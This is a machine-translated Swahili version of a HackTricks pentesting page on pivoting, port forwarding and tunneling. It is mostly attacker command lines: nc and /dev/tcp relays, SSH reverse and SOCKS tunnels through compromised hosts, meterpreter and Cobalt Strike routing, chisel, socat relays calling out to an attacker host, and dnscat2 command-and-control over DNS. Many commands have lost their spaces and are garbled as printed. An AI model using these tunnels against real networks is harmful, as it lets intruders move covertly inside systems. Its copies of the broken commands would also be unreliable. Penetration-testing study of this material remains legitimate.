Je, unafanya kazi katika kampuni ya usalama wa mtandao? Unataka kuona kampuni yako ikionekana kwenye HackTricks? au unataka kupata upatikanaji wa toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF? Angalia MIPANGO YA KUJIUNGA!
Skan za ICMP na SYN haziwezi kuchimbwa kupitia proksi za socks, hivyo lazima zimezwe ugunduzi wa ping (-Pn) na kutaja skani za TCP (-sT) ili hii ifanye kazi.
Bash
Mwenyeji -> Rukia -> NdaniA -> NdaniB
# On the jump server connect the port 3333 to the 5985mknodbackpipep;nc-lvnp59850<backpipe|nc-lvnp33331>backpipe# On InternalA accessible from Jump and can access InternalB## Expose port 3333 and connect it to the winrm port of InternalBexec3<>/dev/tcp/internalB/5985exec4<>/dev/tcp/Jump/3333cat<&3>&4&cat<&4>&3&# From the host, you can now access InternalB from the Jump serverevil-winrm-uusername-iJump
SSH
Unganishaji wa picha wa SSH (X)
ssh-Y-C<user>@<ip>#-Y is less secure but faster than -X
Port2Port ya Ndani
Fungua Port Mpya kwenye Seva ya SSH --> Port Nyingine
ssh-R0.0.0.0:10521:127.0.0.1:1521user@10.0.0.1#Local port 1521 accessible in port 10521 from everywhere
ssh-R0.0.0.0:10521:10.0.0.1:1521user@10.0.0.1#Remote port 1521 accessible in port 10521 from everywhere
Port2Port
Bandari ya ndani --> Mwenyeji aliyeathiriwa (SSH) --> Sanduku la tatu:Bandari
ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f] #This way the terminal is still in your host
#Examplesudossh-L631:<ip_victim>:631-N-f-l<username><ip_compromised>
Port2hostnet (proxychains)
Port ya Mwenyeji --> Mwenyeji Aliyodhuriwa (SSH) --> Mahali Popote
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
Kusonga Mbele ya Port
Hii ni muhimu kupata mabakuli ya kurudi kutoka kwa wenyeji wa ndani kupitia eneo la DMZ hadi kwa mwenyeji wako:
ssh-idmz_key-R<dmz_internal_ip>:443:0.0.0.0:7000root@10.129.203.111-vN# Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000# Note that port 443 must be open# Also, remmeber to edit the /etc/ssh/sshd_config file on Ubuntu systems# and change the line "GatewayPorts no" to "GatewayPorts yes"# to be able to make ssh listen in non internal interfaces in the victim (443 in this case)
VPN-Tunnel
Unahitaji root kwenye vifaa vyote (kwa kuwa utaunda interfaces mpya) na sshd config lazima iruhusu kuingia kama root:
PermitRootLogin yesPermitTunnel yes
sshroot@server-wany:any#This will create Tun interfaces in both devicesipaddradd1.1.1.2/32peer1.1.1.1devtun0#Client side VPN IPifconfigtun0up#Activate the client side network interfaceipaddradd1.1.1.1/32peer1.1.1.2devtun0#Server side VPN IPifconfigtun0up#Activate the server side network interface
Unaweza kutumia kivukio kupitia ssh kusafirisha trafiki yote kwenda kwenye mtandao wa sehemu kupitia mwenyeji.
Kwa mfano, kusafirisha trafiki yote inayoelekea kwenye 10.10.10.0/24
Port ya ndani --> Mwenyeji aliyeathiriwa (kikao cha aktive) --> Sanduku la tatu:Port
# Inside a meterpreter sessionportfwdadd-l<attacker_port>-p<Remote_port>-r<Remote_host>
SOCKS
SOCKS ni itifaki inayotumiwa kwa kusudi la kusafirisha data kupitia firewall ya mtandao. Inaweza kutumika kwa kuficha shughuli za mtumiaji na kufikia rasilimali zilizozuiliwa.
background#meterpretersessionrouteadd<IP_victim><Netmask><Session># (ex: route add 10.10.10.14 255.255.255.0 8)useauxiliary/server/socks_proxyrun#Proxy port 1080 by defaultecho"socks4 127.0.0.1 1080">/etc/proxychains.conf#Proxychains
Njia nyingine:
background#meterpreter sessionusepost/multi/manage/autoroutesetSESSION<session_n>setSUBNET<New_net_ip>#Ex: set SUBNET 10.1.13.0setNETMASK<Netmask>runuseauxiliary/server/socks_proxysetVERSION4arun#Proxy port 1080 by defaultecho"socks4 127.0.0.1 1080">/etc/proxychains.conf#Proxychains
Cobalt Strike
SOCKS proxy
Fungua kituo cha kusikiliza katika timuserver ikisikiliza kwenye viunganishi vyote vinavyoweza kutumika kwa kupeleka trafiki kupitia kipeperushi.
beacon>socks1080[+] started SOCKS4a server on: 1080# Set port 1080 as proxy server in proxychains.confproxychainsnmap-n-Pn-sT-p445,3389,598510.10.17.25
rPort2Port
Katika kesi hii, bandari inafunguliwa kwenye mwenyeji wa taa, sio kwenye Seva ya Timu na trafiki inatumwa kwenye Seva ya Timu na kutoka hapo kwenda kwa mwenyeji:bandari uliyotajwa
Katika kesi hii, bandari inafunguliwa kwenye mwenyeji wa beacon, sio kwenye Seva ya Timu na trafiki inatumwa kwa mteja wa Cobalt Strike (sio kwa Seva ya Timu) na kutoka hapo kwenda kwa mwenyeji: bandari iliyotajwa
Unaweza kuipakua kutoka kwenye ukurasa wa matoleo ya https://github.com/jpillora/chisel
Unahitaji kutumia toleo sawa kwa mteja na server
socks
./chiselserver-p8080--reverse#Server -- Attacker./chisel-x64.execlient10.10.14.3:8080R:socks#Client -- Victim#And now you can use proxychains with port 1080 (default)./chiselserver-v-p8080--socks5#Server -- Victim (needs to have port 8080 exposed)./chiselclient-v10.10.10.10:8080socks#Attacker
#Create meterpreter backdoor to port 3333 and start msfconsole listener in that portattacker>socatOPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1TCP:127.0.0.1:3333
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
#Execute the meterpreter
Unaweza kuzunguka proxy isiyo na uthibitisho kwa kutekeleza mstari huu badala ya wa mwisho kwenye konsoli ya mwathiriwa:
# Execute these commands on both sidesFILENAME=socatsslopensslgenrsa-out $FILENAME.key1024opensslreq-new-key $FILENAME.key-x509-days3653-out $FILENAME.crtcat $FILENAME.key $FILENAME.crt>$FILENAME.pemchmod600 $FILENAME.key $FILENAME.pem
unganisha bandari ya SSH ya eneo (22) kwa bandari ya 443 ya mwenyeji wa mshambuliaji
attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
attacker>sshlocalhost-p2222-lwww-data-ivulnerable#Connects to the ssh of the victim
Plink.exe
Ni kama toleo la PuTTY la kidhibiti (chaguo zake ni sawa sana na mteja wa ssh).
Kwa kuwa binary hii itatekelezwa kwa mhanga na ni mteja wa ssh, tunahitaji kufungua huduma yetu ya ssh na bandari ili tuweze kuwa na uunganisho wa nyuma. Kisha, kusonga bandari inayopatikana kwa urahisi tu kwenda kwa bandari kwenye mashine yetu:
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
echoy|plink.exe-lroot-pwpassword [-p 2222]-R9090:127.0.0.1:909010.11.0.41#Local port 9090 to out port 9090
Windows netsh
Port2Port
Unahitaji kuwa mtawala wa eneo (kwa bandari yoyote)
netshinterfaceportproxyaddv4tov4listenaddress=listenport=connectaddress=connectport=protocol=tcp# Example:netshinterfaceportproxyaddv4tov4listenaddress=0.0.0.0listenport=4444connectaddress=10.10.10.10connectport=4444# Check the port forward was created:netshinterfaceportproxyshowv4tov4# Delete port forwardnetshinterfaceportproxydeletev4tov4listenaddress=0.0.0.0listenport=4444
SocksOverRDP & Proxifier
Unahitaji kuwa na upatikanaji wa RDP kwenye mfumo.
Pakua:
SocksOverRDP x64 Binaries - Zana hii hutumia Dynamic Virtual Channels (DVC) kutoka kwa kipengele cha Huduma ya Desktop ya Mbali ya Windows. DVC inahusika na kutuma pakiti kupitia uhusiano wa RDP.
Kwenye kompyuta yako ya mteja pakia SocksOverRDP-Plugin.dll kama hivi:
# Load SocksOverRDP.dll using regsvr32.exeC:\SocksOverRDP-x64>regsvr32.exeSocksOverRDP-Plugin.dll
Sasa tunaweza kuunganisha kwa muhanga kupitia RDP kwa kutumia mstsc.exe, na tunapaswa kupokea kitufe kikisema kuwa programu-jalizi ya SocksOverRDP imeanzishwa, na itakuwa ikisikiliza kwenye 127.0.0.1:1080.
Unge kupitia RDP na kupakia & kutekeleza kwenye mashine ya muhanga SocksOverRDP-Server.exe binary:
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
Sasa, hakikisha kwenye mashine yako (mshambuliaji) kwamba bandari 1080 inasikiliza:
netstat -antb | findstr 1080
Sasa unaweza kutumia Proxifierkupitia trafiki kupitia bandari hiyo.
Proxify Windows GUI Apps
Unaweza kufanya programu za Windows GUI zinavigate kupitia proxi kwa kutumia Proxifier.
Katika Profile -> Proxy Servers ongeza IP na bandari ya seva ya SOCKS.
Katika Profile -> Proxification Rules ongeza jina la programu ya kufanya proxi na uhusiano kwa IPs unazotaka kufanya proxi.
NTLM proxy bypass
Zana iliyotajwa awali: RpivotOpenVPN pia inaweza kuipuuza, kwa kuweka chaguo hizi kwenye faili ya usanidi:
Inathibitisha dhidi ya proxi na kubana bandari kwa upande wa ndani ambayo inaelekezwa kwa huduma ya nje unayotaja. Kisha, unaweza kutumia zana unayopenda kupitia bandari hii.
Kwa mfano, inaelekeza bandari 443
Username Alice
Password P@ssw0rd
Domain CONTOSO.COM
Proxy 10.0.0.10:8080
Tunnel 2222:<attackers_machine>:443
Sasa, ikiwa unaweka kwa mfano kwenye mhanga huduma ya SSH kusikiliza kwenye bandari 443. Unaweza kuunganisha kupitia bandari ya 2222 ya mshambuliaji.
Unaweza pia kutumia meterpreter inayounganisha kwenye localhost:443 na mshambuliaji anasikiliza kwenye bandari 2222.
Inaanzisha njia ya C&C kupitia DNS. Haitaji mamlaka ya msingi.
attacker>ruby./dnscat2.rbtunneldomain.comvictim>./dnscat2tunneldomain.com# If using it in an internal network for a CTF:attacker>rubydnscat2.rb--dnshost=10.10.10.10,port=53,domain=mydomain.local--no-cachevictim>./dnscat2--dnshost=10.10.10.10,port=5353
Kwa PowerShell
Unaweza kutumia dnscat2-powershell kufanya mteja wa dnscat2 kwenye powershell:
session-i<sessions_id>listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
Badilisha DNS ya proxychains
Proxychains inakamata wito wa libc wa gethostbyname na kufanya ombi la DNS la tcp kupitia proxy ya socks. Kwa chaguo-msingi serveri ya DNS ambayo proxychains hutumia ni 4.2.2.2 (imeandikwa kikamilifu). Ili kubadilisha, hariri faili: /usr/lib/proxychains3/proxyresolv na ubadilishe IP. Ikiwa uko katika mazingira ya Windows unaweza kuweka IP ya domain controller.
Root inahitajika katika mifumo yote mawili ili kuunda viunganishi vya tun na kuchimba data kati yao kwa kutumia maombi ya echo ya ICMP.
./hans-v-f-s1.1.1.1-pP@ssw0rd#Start listening (1.1.1.1 is IP of the new vpn connection)./hans-f-c<server_ip>-pP@ssw0rd-vping1.1.1.100#After a successful connection, the victim will be in the 1.1.1.100
# Generate itsudo./autogen.sh# Server -- victim (needs to be able to receive ICMP)sudoptunnel-ng# Client - Attackersudoptunnel-ng-p<server_ip>-l<listen_port>-r<dest_ip>-R<dest_port># Try to connect with SSH through ICMP tunnelssh-p2222-luser127.0.0.1# Create a socks proxy through the SSH connection through the ICMP tunnelssh-D9050-p2222-luser127.0.0.1
ngrok
ngrok ni chombo cha kufunua suluhisho kwa Mtandao kwa amri moja.Exposition URI ni kama:UID.ngrok.io
Usakinishaji
Unda akaunti: https://ngrok.com/signup
Pakua Mteja:
tar xvzf ~/Downloads/ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin
chmod a+x ./ngrok
# Init configuration, with your token
./ngrok config edit
Je, unafanya kazi katika kampuni ya usalama wa mtandao? Je, unataka kuona kampuni yako ikitangazwa kwenye HackTricks? au unataka kupata upatikanaji wa toleo jipya la PEASS au kupakua HackTricks kwa PDF? Angalia MIPANGO YA KUJIUNGA!